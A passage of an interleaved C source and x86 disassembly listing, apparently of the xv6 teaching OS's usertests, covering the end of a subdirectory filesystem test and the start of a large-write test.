2072: e8 6b 1c 00 00 call 3ce2 <open>
2077: 85 c0 test %eax,%eax
2079: 0f 89 5f 04 00 00 jns 24de <subdir+0x5de>
printf(1, "open (unlinked) dd/dd/ff succeeded\n");
exit();
}
if(chdir("dd") != 0){
207f: c7 04 24 d8 49 00 00 movl $0x49d8,(%esp)
2086: e8 87 1c 00 00 call 3d12 <chdir>
208b: 85 c0 test %eax,%eax
208d: 0f 85 32 04 00 00 jne 24c5 <subdir+0x5c5>
printf(1, "chdir dd failed\n");
exit();
}
if(chdir("dd/../../dd") != 0){
2093: c7 04 24 a6 49 00 00 movl $0x49a6,(%esp)
209a: e8 73 1c 00 00 call 3d12 <chdir>
209f: 85 c0 test %eax,%eax
20a1: 0f 85 8e 02 00 00 jne 2335 <subdir+0x435>
printf(1, "chdir dd/../../dd failed\n");
exit();
}
if(chdir("dd/../../../dd") != 0){
20a7: c7 04 24 cc 49 00 00 movl $0x49cc,(%esp)
20ae: e8 5f 1c 00 00 call 3d12 <chdir>
20b3: 85 c0 test %eax,%eax
20b5: 0f 85 7a 02 00 00 jne 2335 <subdir+0x435>
printf(1, "chdir dd/../../dd failed\n");
exit();
}
if(chdir("./..") != 0){
20bb: c7 04 24 db 49 00 00 movl $0x49db,(%esp)
20c2: e8 4b 1c 00 00 call 3d12 <chdir>
20c7: 85 c0 test %eax,%eax
20c9: 0f 85 2e 03 00 00 jne 23fd <subdir+0x4fd>
printf(1, "chdir ./.. failed\n");
exit();
}
fd = open("dd/dd/ffff", 0);
20cf: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
20d6: 00
20d7: c7 04 24 72 49 00 00 movl $0x4972,(%esp)
20de: e8 ff 1b 00 00 call 3ce2 <open>
if(fd < 0){
20e3: 85 c0 test %eax,%eax
if(chdir("./..") != 0){
printf(1, "chdir ./.. failed\n");
exit();
}
fd = open("dd/dd/ffff", 0);
20e5: 89 c3 mov %eax,%ebx
if(fd < 0){
20e7: 0f 88 81 05 00 00 js 266e <subdir+0x76e>
printf(1, "open dd/dd/ffff failed\n");
exit();
}
if(read(fd, buf, sizeof(buf)) != 2){
20ed: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
20f4: 00
20f5: c7 44 24 04 c0 89 00 movl $0x89c0,0x4(%esp)
20fc: 00
20fd: 89 04 24 mov %eax,(%esp)
2100: e8 b5 1b 00 00 call 3cba <read>
2105: 83 f8 02 cmp $0x2,%eax
2108: 0f 85 47 05 00 00 jne 2655 <subdir+0x755>
printf(1, "read dd/dd/ffff wrong len\n");
exit();
}
close(fd);
210e: 89 1c 24 mov %ebx,(%esp)
2111: e8 b4 1b 00 00 call 3cca <close>
if(open("dd/dd/ff", O_RDONLY) >= 0){
2116: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
211d: 00
211e: c7 04 24 0e 49 00 00 movl $0x490e,(%esp)
2125: e8 b8 1b 00 00 call 3ce2 <open>
212a: 85 c0 test %eax,%eax
212c: 0f 89 4e 02 00 00 jns 2380 <subdir+0x480>
printf(1, "open (unlinked) dd/dd/ff succeeded!\n");
exit();
}
if(open("dd/ff/ff", O_CREATE|O_RDWR) >= 0){
2132: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
2139: 00
213a: c7 04 24 26 4a 00 00 movl $0x4a26,(%esp)
2141: e8 9c 1b 00 00 call 3ce2 <open>
2146: 85 c0 test %eax,%eax
2148: 0f 89 19 02 00 00 jns 2367 <subdir+0x467>
printf(1, "create dd/ff/ff succeeded!\n");
exit();
}
if(open("dd/xx/ff", O_CREATE|O_RDWR) >= 0){
214e: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
2155: 00
2156: c7 04 24 4b 4a 00 00 movl $0x4a4b,(%esp)
215d: e8 80 1b 00 00 call 3ce2 <open>
2162: 85 c0 test %eax,%eax
2164: 0f 89 42 03 00 00 jns 24ac <subdir+0x5ac>
printf(1, "create dd/xx/ff succeeded!\n");
exit();
}
if(open("dd", O_CREATE) >= 0){
216a: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
2171: 00
2172: c7 04 24 d8 49 00 00 movl $0x49d8,(%esp)
2179: e8 64 1b 00 00 call 3ce2 <open>
217e: 85 c0 test %eax,%eax
2180: 0f 89 0d 03 00 00 jns 2493 <subdir+0x593>
printf(1, "create dd succeeded!\n");
exit();
}
if(open("dd", O_RDWR) >= 0){
2186: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
218d: 00
218e: c7 04 24 d8 49 00 00 movl $0x49d8,(%esp)
2195: e8 48 1b 00 00 call 3ce2 <open>
219a: 85 c0 test %eax,%eax
219c: 0f 89 d8 02 00 00 jns 247a <subdir+0x57a>
printf(1, "open dd rdwr succeeded!\n");
exit();
}
if(open("dd", O_WRONLY) >= 0){
21a2: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
21a9: 00
21aa: c7 04 24 d8 49 00 00 movl $0x49d8,(%esp)
21b1: e8 2c 1b 00 00 call 3ce2 <open>
21b6: 85 c0 test %eax,%eax
21b8: 0f 89 a3 02 00 00 jns 2461 <subdir+0x561>
printf(1, "open dd wronly succeeded!\n");
exit();
}
if(link("dd/ff/ff", "dd/dd/xx") == 0){
21be: c7 44 24 04 ba 4a 00 movl $0x4aba,0x4(%esp)
21c5: 00
21c6: c7 04 24 26 4a 00 00 movl $0x4a26,(%esp)
21cd: e8 30 1b 00 00 call 3d02 <link>
21d2: 85 c0 test %eax,%eax
21d4: 0f 84 6e 02 00 00 je 2448 <subdir+0x548>
printf(1, "link dd/ff/ff dd/dd/xx succeeded!\n");
exit();
}
if(link("dd/xx/ff", "dd/dd/xx") == 0){
21da: c7 44 24 04 ba 4a 00 movl $0x4aba,0x4(%esp)
21e1: 00
21e2: c7 04 24 4b 4a 00 00 movl $0x4a4b,(%esp)
21e9: e8 14 1b 00 00 call 3d02 <link>
21ee: 85 c0 test %eax,%eax
21f0: 0f 84 39 02 00 00 je 242f <subdir+0x52f>
printf(1, "link dd/xx/ff dd/dd/xx succeeded!\n");
exit();
}
if(link("dd/ff", "dd/dd/ffff") == 0){
21f6: c7 44 24 04 72 49 00 movl $0x4972,0x4(%esp)
21fd: 00
21fe: c7 04 24 11 49 00 00 movl $0x4911,(%esp)
2205: e8 f8 1a 00 00 call 3d02 <link>
220a: 85 c0 test %eax,%eax
220c: 0f 84 a0 01 00 00 je 23b2 <subdir+0x4b2>
printf(1, "link dd/ff dd/dd/ffff succeeded!\n");
exit();
}
if(mkdir("dd/ff/ff") == 0){
2212: c7 04 24 26 4a 00 00 movl $0x4a26,(%esp)
2219: e8 ec 1a 00 00 call 3d0a <mkdir>
221e: 85 c0 test %eax,%eax
2220: 0f 84 73 01 00 00 je 2399 <subdir+0x499>
printf(1, "mkdir dd/ff/ff succeeded!\n");
exit();
}
if(mkdir("dd/xx/ff") == 0){
2226: c7 04 24 4b 4a 00 00 movl $0x4a4b,(%esp)
222d: e8 d8 1a 00 00 call 3d0a <mkdir>
2232: 85 c0 test %eax,%eax
2234: 0f 84 02 04 00 00 je 263c <subdir+0x73c>
printf(1, "mkdir dd/xx/ff succeeded!\n");
exit();
}
if(mkdir("dd/dd/ffff") == 0){
223a: c7 04 24 72 49 00 00 movl $0x4972,(%esp)
2241: e8 c4 1a 00 00 call 3d0a <mkdir>
2246: 85 c0 test %eax,%eax
2248: 0f 84 d5 03 00 00 je 2623 <subdir+0x723>
printf(1, "mkdir dd/dd/ffff succeeded!\n");
exit();
}
if(unlink("dd/xx/ff") == 0){
224e: c7 04 24 4b 4a 00 00 movl $0x4a4b,(%esp)
2255: e8 98 1a 00 00 call 3cf2 <unlink>
225a: 85 c0 test %eax,%eax
225c: 0f 84 a8 03 00 00 je 260a <subdir+0x70a>
printf(1, "unlink dd/xx/ff succeeded!\n");
exit();
}
if(unlink("dd/ff/ff") == 0){
2262: c7 04 24 26 4a 00 00 movl $0x4a26,(%esp)
2269: e8 84 1a 00 00 call 3cf2 <unlink>
226e: 85 c0 test %eax,%eax
2270: 0f 84 7b 03 00 00 je 25f1 <subdir+0x6f1>
printf(1, "unlink dd/ff/ff succeeded!\n");
exit();
}
if(chdir("dd/ff") == 0){
2276: c7 04 24 11 49 00 00 movl $0x4911,(%esp)
227d: e8 90 1a 00 00 call 3d12 <chdir>
2282: 85 c0 test %eax,%eax
2284: 0f 84 4e 03 00 00 je 25d8 <subdir+0x6d8>
printf(1, "chdir dd/ff succeeded!\n");
exit();
}
if(chdir("dd/xx") == 0){
228a: c7 04 24 bd 4a 00 00 movl $0x4abd,(%esp)
2291: e8 7c 1a 00 00 call 3d12 <chdir>
2296: 85 c0 test %eax,%eax
2298: 0f 84 21 03 00 00 je 25bf <subdir+0x6bf>
printf(1, "chdir dd/xx succeeded!\n");
exit();
}
if(unlink("dd/dd/ffff") != 0){
229e: c7 04 24 72 49 00 00 movl $0x4972,(%esp)
22a5: e8 48 1a 00 00 call 3cf2 <unlink>
22aa: 85 c0 test %eax,%eax
22ac: 0f 85 9c 00 00 00 jne 234e <subdir+0x44e>
printf(1, "unlink dd/dd/ff failed\n");
exit();
}
if(unlink("dd/ff") != 0){
22b2: c7 04 24 11 49 00 00 movl $0x4911,(%esp)
22b9: e8 34 1a 00 00 call 3cf2 <unlink>
22be: 85 c0 test %eax,%eax
22c0: 0f 85 e0 02 00 00 jne 25a6 <subdir+0x6a6>
printf(1, "unlink dd/ff failed\n");
exit();
}
if(unlink("dd") == 0){
22c6: c7 04 24 d8 49 00 00 movl $0x49d8,(%esp)
22cd: e8 20 1a 00 00 call 3cf2 <unlink>
22d2: 85 c0 test %eax,%eax
22d4: 0f 84 b3 02 00 00 je 258d <subdir+0x68d>
printf(1, "unlink non-empty dd succeeded!\n");
exit();
}
if(unlink("dd/dd") < 0){
22da: c7 04 24 ed 48 00 00 movl $0x48ed,(%esp)
22e1: e8 0c 1a 00 00 call 3cf2 <unlink>
22e6: 85 c0 test %eax,%eax
22e8: 0f 88 86 02 00 00 js 2574 <subdir+0x674>
printf(1, "unlink dd/dd failed\n");
exit();
}
if(unlink("dd") < 0){
22ee: c7 04 24 d8 49 00 00 movl $0x49d8,(%esp)
22f5: e8 f8 19 00 00 call 3cf2 <unlink>
22fa: 85 c0 test %eax,%eax
22fc: 0f 88 59 02 00 00 js 255b <subdir+0x65b>
printf(1, "unlink dd failed\n");
exit();
}
printf(1, "subdir ok\n");
2302: c7 44 24 04 ba 4b 00 movl $0x4bba,0x4(%esp)
2309: 00
230a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2311: e8 ea 1a 00 00 call 3e00 <printf>
}
2316: 83 c4 14 add $0x14,%esp
2319: 5b pop %ebx
231a: 5d pop %ebp
231b: c3 ret
printf(1, "open dd/dd/../ff failed\n");
exit();
}
cc = read(fd, buf, sizeof(buf));
if(cc != 2 || buf[0] != 'f'){
printf(1, "dd/dd/../ff wrong content\n");
231c: c7 44 24 04 57 49 00 movl $0x4957,0x4(%esp)
2323: 00
2324: c7 04 24 01 00 00 00 movl $0x1,(%esp)
232b: e8 d0 1a 00 00 call 3e00 <printf>
exit();
2330: e8 6d 19 00 00 call 3ca2 <exit>
if(chdir("dd") != 0){
printf(1, "chdir dd failed\n");
exit();
}
if(chdir("dd/../../dd") != 0){
printf(1, "chdir dd/../../dd failed\n");
2335: c7 44 24 04 b2 49 00 movl $0x49b2,0x4(%esp)
233c: 00
233d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2344: e8 b7 1a 00 00 call 3e00 <printf>
exit();
2349: e8 54 19 00 00 call 3ca2 <exit>
printf(1, "link dd/dd/ff dd/dd/ffff failed\n");
exit();
}
if(unlink("dd/dd/ff") != 0){
printf(1, "unlink dd/dd/ff failed\n");
234e: c7 44 24 04 7d 49 00 movl $0x497d,0x4(%esp)
2355: 00
2356: c7 04 24 01 00 00 00 movl $0x1,(%esp)
235d: e8 9e 1a 00 00 call 3e00 <printf>
exit();
2362: e8 3b 19 00 00 call 3ca2 <exit>
printf(1, "open (unlinked) dd/dd/ff succeeded!\n");
exit();
}
if(open("dd/ff/ff", O_CREATE|O_RDWR) >= 0){
printf(1, "create dd/ff/ff succeeded!\n");
2367: c7 44 24 04 2f 4a 00 movl $0x4a2f,0x4(%esp)
236e: 00
236f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2376: e8 85 1a 00 00 call 3e00 <printf>
exit();
237b: e8 22 19 00 00 call 3ca2 <exit>
exit();
}
close(fd);
if(open("dd/dd/ff", O_RDONLY) >= 0){
printf(1, "open (unlinked) dd/dd/ff succeeded!\n");
2380: c7 44 24 04 14 54 00 movl $0x5414,0x4(%esp)
2387: 00
2388: c7 04 24 01 00 00 00 movl $0x1,(%esp)
238f: e8 6c 1a 00 00 call 3e00 <printf>
exit();
2394: e8 09 19 00 00 call 3ca2 <exit>
if(link("dd/ff", "dd/dd/ffff") == 0){
printf(1, "link dd/ff dd/dd/ffff succeeded!\n");
exit();
}
if(mkdir("dd/ff/ff") == 0){
printf(1, "mkdir dd/ff/ff succeeded!\n");
2399: c7 44 24 04 c3 4a 00 movl $0x4ac3,0x4(%esp)
23a0: 00
23a1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
23a8: e8 53 1a 00 00 call 3e00 <printf>
exit();
23ad: e8 f0 18 00 00 call 3ca2 <exit>
if(link("dd/xx/ff", "dd/dd/xx") == 0){
printf(1, "link dd/xx/ff dd/dd/xx succeeded!\n");
exit();
}
if(link("dd/ff", "dd/dd/ffff") == 0){
printf(1, "link dd/ff dd/dd/ffff succeeded!\n");
23b2: c7 44 24 04 84 54 00 movl $0x5484,0x4(%esp)
23b9: 00
23ba: c7 04 24 01 00 00 00 movl $0x1,(%esp)
23c1: e8 3a 1a 00 00 call 3e00 <printf>
exit();
23c6: e8 d7 18 00 00 call 3ca2 <exit>
write(fd, "FF", 2);
close(fd);
fd = open("dd/dd/../ff", 0);
if(fd < 0){
printf(1, "open dd/dd/../ff failed\n");
23cb: c7 44 24 04 3e 49 00 movl $0x493e,0x4(%esp)
23d2: 00
23d3: c7 04 24 01 00 00 00 movl $0x1,(%esp)
23da: e8 21 1a 00 00 call 3e00 <printf>
exit();
23df: e8 be 18 00 00 call 3ca2 <exit>
exit();
}
fd = open("dd/dd/ff", O_CREATE | O_RDWR);
if(fd < 0){
printf(1, "create dd/dd/ff failed\n");
23e4: c7 44 24 04 17 49 00 movl $0x4917,0x4(%esp)
23eb: 00
23ec: c7 04 24 01 00 00 00 movl $0x1,(%esp)
23f3: e8 08 1a 00 00 call 3e00 <printf>
exit();
23f8: e8 a5 18 00 00 call 3ca2 <exit>
if(chdir("dd/../../../dd") != 0){
printf(1, "chdir dd/../../dd failed\n");
exit();
}
if(chdir("./..") != 0){
printf(1, "chdir ./.. failed\n");
23fd: c7 44 24 04 e0 49 00 movl $0x49e0,0x4(%esp)
2404: 00
2405: c7 04 24 01 00 00 00 movl $0x1,(%esp)
240c: e8 ef 19 00 00 call 3e00 <printf>
exit();
2411: e8 8c 18 00 00 call 3ca2 <exit>
exit();
}
close(fd);
if(link("dd/dd/ff", "dd/dd/ffff") != 0){
printf(1, "link dd/dd/ff dd/dd/ffff failed\n");
2416: c7 44 24 04 cc 53 00 movl $0x53cc,0x4(%esp)
241d: 00
241e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2425: e8 d6 19 00 00 call 3e00 <printf>
exit();
242a: e8 73 18 00 00 call 3ca2 <exit>
if(link("dd/ff/ff", "dd/dd/xx") == 0){
printf(1, "link dd/ff/ff dd/dd/xx succeeded!\n");
exit();
}
if(link("dd/xx/ff", "dd/dd/xx") == 0){
printf(1, "link dd/xx/ff dd/dd/xx succeeded!\n");
242f: c7 44 24 04 60 54 00 movl $0x5460,0x4(%esp)
2436: 00
2437: c7 04 24 01 00 00 00 movl $0x1,(%esp)
243e: e8 bd 19 00 00 call 3e00 <printf>
exit();
2443: e8 5a 18 00 00 call 3ca2 <exit>
if(open("dd", O_WRONLY) >= 0){
printf(1, "open dd wronly succeeded!\n");
exit();
}
if(link("dd/ff/ff", "dd/dd/xx") == 0){
printf(1, "link dd/ff/ff dd/dd/xx succeeded!\n");
2448: c7 44 24 04 3c 54 00 movl $0x543c,0x4(%esp)
244f: 00
2450: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2457: e8 a4 19 00 00 call 3e00 <printf>
exit();
245c: e8 41 18 00 00 call 3ca2 <exit>
if(open("dd", O_RDWR) >= 0){
printf(1, "open dd rdwr succeeded!\n");
exit();
}
if(open("dd", O_WRONLY) >= 0){
printf(1, "open dd wronly succeeded!\n");
2461: c7 44 24 04 9f 4a 00 movl $0x4a9f,0x4(%esp)
2468: 00
2469: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2470: e8 8b 19 00 00 call 3e00 <printf>
exit();
2475: e8 28 18 00 00 call 3ca2 <exit>
if(open("dd", O_CREATE) >= 0){
printf(1, "create dd succeeded!\n");
exit();
}
if(open("dd", O_RDWR) >= 0){
printf(1, "open dd rdwr succeeded!\n");
247a: c7 44 24 04 86 4a 00 movl $0x4a86,0x4(%esp)
2481: 00
2482: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2489: e8 72 19 00 00 call 3e00 <printf>
exit();
248e: e8 0f 18 00 00 call 3ca2 <exit>
if(open("dd/xx/ff", O_CREATE|O_RDWR) >= 0){
printf(1, "create dd/xx/ff succeeded!\n");
exit();
}
if(open("dd", O_CREATE) >= 0){
printf(1, "create dd succeeded!\n");
2493: c7 44 24 04 70 4a 00 movl $0x4a70,0x4(%esp)
249a: 00
249b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
24a2: e8 59 19 00 00 call 3e00 <printf>
exit();
24a7: e8 f6 17 00 00 call 3ca2 <exit>
if(open("dd/ff/ff", O_CREATE|O_RDWR) >= 0){
printf(1, "create dd/ff/ff succeeded!\n");
exit();
}
if(open("dd/xx/ff", O_CREATE|O_RDWR) >= 0){
printf(1, "create dd/xx/ff succeeded!\n");
24ac: c7 44 24 04 54 4a 00 movl $0x4a54,0x4(%esp)
24b3: 00
24b4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
24bb: e8 40 19 00 00 call 3e00 <printf>
exit();
24c0: e8 dd 17 00 00 call 3ca2 <exit>
printf(1, "open (unlinked) dd/dd/ff succeeded\n");
exit();
}
if(chdir("dd") != 0){
printf(1, "chdir dd failed\n");
24c5: c7 44 24 04 95 49 00 movl $0x4995,0x4(%esp)
24cc: 00
24cd: c7 04 24 01 00 00 00 movl $0x1,(%esp)
24d4: e8 27 19 00 00 call 3e00 <printf>
exit();
24d9: e8 c4 17 00 00 call 3ca2 <exit>
if(unlink("dd/dd/ff") != 0){
printf(1, "unlink dd/dd/ff failed\n");
exit();
}
if(open("dd/dd/ff", O_RDONLY) >= 0){
printf(1, "open (unlinked) dd/dd/ff succeeded\n");
24de: c7 44 24 04 f0 53 00 movl $0x53f0,0x4(%esp)
24e5: 00
24e6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
24ed: e8 0e 19 00 00 call 3e00 <printf>
exit();
24f2: e8 ab 17 00 00 call 3ca2 <exit>
printf(1, "unlink dd (non-empty dir) succeeded!\n");
exit();
}
if(mkdir("/dd/dd") != 0){
printf(1, "subdir mkdir dd/dd failed\n");
24f7: c7 44 24 04 f3 48 00 movl $0x48f3,0x4(%esp)
24fe: 00
24ff: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2506: e8 f5 18 00 00 call 3e00 <printf>
exit();
250b: e8 92 17 00 00 call 3ca2 <exit>
}
write(fd, "ff", 2);
close(fd);
if(unlink("dd") >= 0){
printf(1, "unlink dd (non-empty dir) succeeded!\n");
2510: c7 44 24 04 a4 53 00 movl $0x53a4,0x4(%esp)
2517: 00
2518: c7 04 24 01 00 00 00 movl $0x1,(%esp)
251f: e8 dc 18 00 00 call 3e00 <printf>
exit();
2524: e8 79 17 00 00 call 3ca2 <exit>
exit();
}
fd = open("dd/ff", O_CREATE | O_RDWR);
if(fd < 0){
printf(1, "create dd/ff failed\n");
2529: c7 44 24 04 d7 48 00 movl $0x48d7,0x4(%esp)
2530: 00
2531: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2538: e8 c3 18 00 00 call 3e00 <printf>
exit();
253d: e8 60 17 00 00 call 3ca2 <exit>
printf(1, "subdir test\n");
unlink("ff");
if(mkdir("dd") != 0){
printf(1, "subdir mkdir dd failed\n");
2542: c7 44 24 04 bf 48 00 movl $0x48bf,0x4(%esp)
2549: 00
254a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2551: e8 aa 18 00 00 call 3e00 <printf>
exit();
2556: e8 47 17 00 00 call 3ca2 <exit>
if(unlink("dd/dd") < 0){
printf(1, "unlink dd/dd failed\n");
exit();
}
if(unlink("dd") < 0){
printf(1, "unlink dd failed\n");
255b: c7 44 24 04 a8 4b 00 movl $0x4ba8,0x4(%esp)
2562: 00
2563: c7 04 24 01 00 00 00 movl $0x1,(%esp)
256a: e8 91 18 00 00 call 3e00 <printf>
exit();
256f: e8 2e 17 00 00 call 3ca2 <exit>
if(unlink("dd") == 0){
printf(1, "unlink non-empty dd succeeded!\n");
exit();
}
if(unlink("dd/dd") < 0){
printf(1, "unlink dd/dd failed\n");
2574: c7 44 24 04 93 4b 00 movl $0x4b93,0x4(%esp)
257b: 00
257c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2583: e8 78 18 00 00 call 3e00 <printf>
exit();
2588: e8 15 17 00 00 call 3ca2 <exit>
if(unlink("dd/ff") != 0){
printf(1, "unlink dd/ff failed\n");
exit();
}
if(unlink("dd") == 0){
printf(1, "unlink non-empty dd succeeded!\n");
258d: c7 44 24 04 a8 54 00 movl $0x54a8,0x4(%esp)
2594: 00
2595: c7 04 24 01 00 00 00 movl $0x1,(%esp)
259c: e8 5f 18 00 00 call 3e00 <printf>
exit();
25a1: e8 fc 16 00 00 call 3ca2 <exit>
if(unlink("dd/dd/ffff") != 0){
printf(1, "unlink dd/dd/ff failed\n");
exit();
}
if(unlink("dd/ff") != 0){
printf(1, "unlink dd/ff failed\n");
25a6: c7 44 24 04 7e 4b 00 movl $0x4b7e,0x4(%esp)
25ad: 00
25ae: c7 04 24 01 00 00 00 movl $0x1,(%esp)
25b5: e8 46 18 00 00 call 3e00 <printf>
exit();
25ba: e8 e3 16 00 00 call 3ca2 <exit>
if(chdir("dd/ff") == 0){
printf(1, "chdir dd/ff succeeded!\n");
exit();
}
if(chdir("dd/xx") == 0){
printf(1, "chdir dd/xx succeeded!\n");
25bf: c7 44 24 04 66 4b 00 movl $0x4b66,0x4(%esp)
25c6: 00
25c7: c7 04 24 01 00 00 00 movl $0x1,(%esp)
25ce: e8 2d 18 00 00 call 3e00 <printf>
exit();
25d3: e8 ca 16 00 00 call 3ca2 <exit>
if(unlink("dd/ff/ff") == 0){
printf(1, "unlink dd/ff/ff succeeded!\n");
exit();
}
if(chdir("dd/ff") == 0){
printf(1, "chdir dd/ff succeeded!\n");
25d8: c7 44 24 04 4e 4b 00 movl $0x4b4e,0x4(%esp)
25df: 00
25e0: c7 04 24 01 00 00 00 movl $0x1,(%esp)
25e7: e8 14 18 00 00 call 3e00 <printf>
exit();
25ec: e8 b1 16 00 00 call 3ca2 <exit>
if(unlink("dd/xx/ff") == 0){
printf(1, "unlink dd/xx/ff succeeded!\n");
exit();
}
if(unlink("dd/ff/ff") == 0){
printf(1, "unlink dd/ff/ff succeeded!\n");
25f1: c7 44 24 04 32 4b 00 movl $0x4b32,0x4(%esp)
25f8: 00
25f9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2600: e8 fb 17 00 00 call 3e00 <printf>
exit();
2605: e8 98 16 00 00 call 3ca2 <exit>
if(mkdir("dd/dd/ffff") == 0){
printf(1, "mkdir dd/dd/ffff succeeded!\n");
exit();
}
if(unlink("dd/xx/ff") == 0){
printf(1, "unlink dd/xx/ff succeeded!\n");
260a: c7 44 24 04 16 4b 00 movl $0x4b16,0x4(%esp)
2611: 00
2612: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2619: e8 e2 17 00 00 call 3e00 <printf>
exit();
261e: e8 7f 16 00 00 call 3ca2 <exit>
if(mkdir("dd/xx/ff") == 0){
printf(1, "mkdir dd/xx/ff succeeded!\n");
exit();
}
if(mkdir("dd/dd/ffff") == 0){
printf(1, "mkdir dd/dd/ffff succeeded!\n");
2623: c7 44 24 04 f9 4a 00 movl $0x4af9,0x4(%esp)
262a: 00
262b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2632: e8 c9 17 00 00 call 3e00 <printf>
exit();
2637: e8 66 16 00 00 call 3ca2 <exit>
if(mkdir("dd/ff/ff") == 0){
printf(1, "mkdir dd/ff/ff succeeded!\n");
exit();
}
if(mkdir("dd/xx/ff") == 0){
printf(1, "mkdir dd/xx/ff succeeded!\n");
263c: c7 44 24 04 de 4a 00 movl $0x4ade,0x4(%esp)
2643: 00
2644: c7 04 24 01 00 00 00 movl $0x1,(%esp)
264b: e8 b0 17 00 00 call 3e00 <printf>
exit();
2650: e8 4d 16 00 00 call 3ca2 <exit>
if(fd < 0){
printf(1, "open dd/dd/ffff failed\n");
exit();
}
if(read(fd, buf, sizeof(buf)) != 2){
printf(1, "read dd/dd/ffff wrong len\n");
2655: c7 44 24 04 0b 4a 00 movl $0x4a0b,0x4(%esp)
265c: 00
265d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2664: e8 97 17 00 00 call 3e00 <printf>
exit();
2669: e8 34 16 00 00 call 3ca2 <exit>
exit();
}
fd = open("dd/dd/ffff", 0);
if(fd < 0){
printf(1, "open dd/dd/ffff failed\n");
266e: c7 44 24 04 f3 49 00 movl $0x49f3,0x4(%esp)
2675: 00
2676: c7 04 24 01 00 00 00 movl $0x1,(%esp)
267d: e8 7e 17 00 00 call 3e00 <printf>
exit();
2682: e8 1b 16 00 00 call 3ca2 <exit>
2687: 89 f6 mov %esi,%esi
2689: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00002690 <bigwrite>:
}
// test writes that are larger than the log.
void
bigwrite(void)
{
2690: 55 push %ebp
2691: 89 e5 mov %esp,%ebp
2693: 56 push %esi
2694: 53 push %ebx
int fd, sz;
printf(1, "bigwrite test\n");
unlink("bigwrite");
for(sz = 499; sz < 12*512; sz += 471){
2695: bb f3 01 00 00 mov $0x1f3,%ebx
}
// test writes that are larger than the log.
void
bigwrite(void)
{
269a: 83 ec 10 sub $0x10,%esp
int fd, sz;
printf(1, "bigwrite test\n");
269d: c7 44 24 04 c5 4b 00 movl $0x4bc5,0x4(%esp)
26a4: 00
26a5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
26ac: e8 4f 17 00 00 call 3e00 <printf>
unlink("bigwrite");
26b1: c7 04 24 d4 4b 00 00 movl $0x4bd4,(%esp)
26b8: e8 35 16 00 00 call 3cf2 <unlink>
26bd: 8d 76 00 lea 0x0(%esi),%esi
for(sz = 499; sz < 12*512; sz += 471){
fd = open("bigwrite", O_CREATE | O_RDWR);
26c0: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
26c7: 00
26c8: c7 04 24 d4 4b 00 00 movl $0x4bd4,(%esp)
26cf: e8 0e 16 00 00 call 3ce2 <open>
if(fd < 0){
26d4: 85 c0 test %eax,%eax
printf(1, "bigwrite test\n");
unlink("bigwrite");
for(sz = 499; sz < 12*512; sz += 471){
fd = open("bigwrite", O_CREATE | O_RDWR);
26d6: 89 c6 mov %eax,%esi
if(fd < 0){
26d8: 0f 88 8e 00 00 00 js 276c <bigwrite+0xdc>
printf(1, "cannot create bigwrite\n");
exit();
}
int i;
for(i = 0; i < 2; i++){
int cc = write(fd, buf, sz);
26de: 89 5c 24 08 mov %ebx,0x8(%esp)
26e2: c7 44 24 04 c0 89 00 movl $0x89c0,0x4(%esp)
26e9: 00
26ea: 89 04 24 mov %eax,(%esp)
26ed: e8 d0 15 00 00 call 3cc2 <write>
if(cc != sz){
26f2: 39 d8 cmp %ebx,%eax
26f4: 75 55 jne 274b <bigwrite+0xbb>
printf(1, "cannot create bigwrite\n");
exit();
}
int i;
for(i = 0; i < 2; i++){
int cc = write(fd, buf, sz);
26f6: 89 5c 24 08 mov %ebx,0x8(%esp)
26fa: c7 44 24 04 c0 89 00 movl $0x89c0,0x4(%esp)
2701: 00
2702: 89 34 24 mov %esi,(%esp)
2705: e8 b8 15 00 00 call 3cc2 <write>
if(cc != sz){
270a: 39 c3 cmp %eax,%ebx
270c: 75 3d jne 274b <bigwrite+0xbb>
printf(1, "write(%d) ret %d\n", sz, cc);
exit();
}
}
close(fd);
270e: 89 34 24 mov %esi,(%esp)
int fd, sz;
printf(1, "bigwrite test\n");
unlink("bigwrite");
for(sz = 499; sz < 12*512; sz += 471){
2711: 81 c3 d7 01 00 00 add $0x1d7,%ebx
if(cc != sz){
printf(1, "write(%d) ret %d\n", sz, cc);
exit();
}
}
close(fd);
2717: e8 ae 15 00 00 call 3cca <close>
unlink("bigwrite");
271c: c7 04 24 d4 4b 00 00 movl $0x4bd4,(%esp)
2723: e8 ca 15 00 00 call 3cf2 <unlink>
int fd, sz;
printf(1, "bigwrite test\n");
unlink("bigwrite");
for(sz = 499; sz < 12*512; sz += 471){
2728: 81 fb 07 18 00 00 cmp $0x1807,%ebx
272e: 75 90 jne 26c0 <bigwrite+0x30>
}
close(fd);
unlink("bigwrite");
}
printf(1, "bigwrite ok\n");
2730: c7 44 24 04 07 4c 00 movl $0x4c07,0x4(%esp)
2737: 00
2738: c7 04 24 01 00 00 00 movl $0x1,(%esp)
273f: e8 bc 16 00 00 call 3e00 <printf>
}
2744: 83 c4 10 add $0x10,%esp
2747: 5b pop %ebx
2748: 5e pop %esi
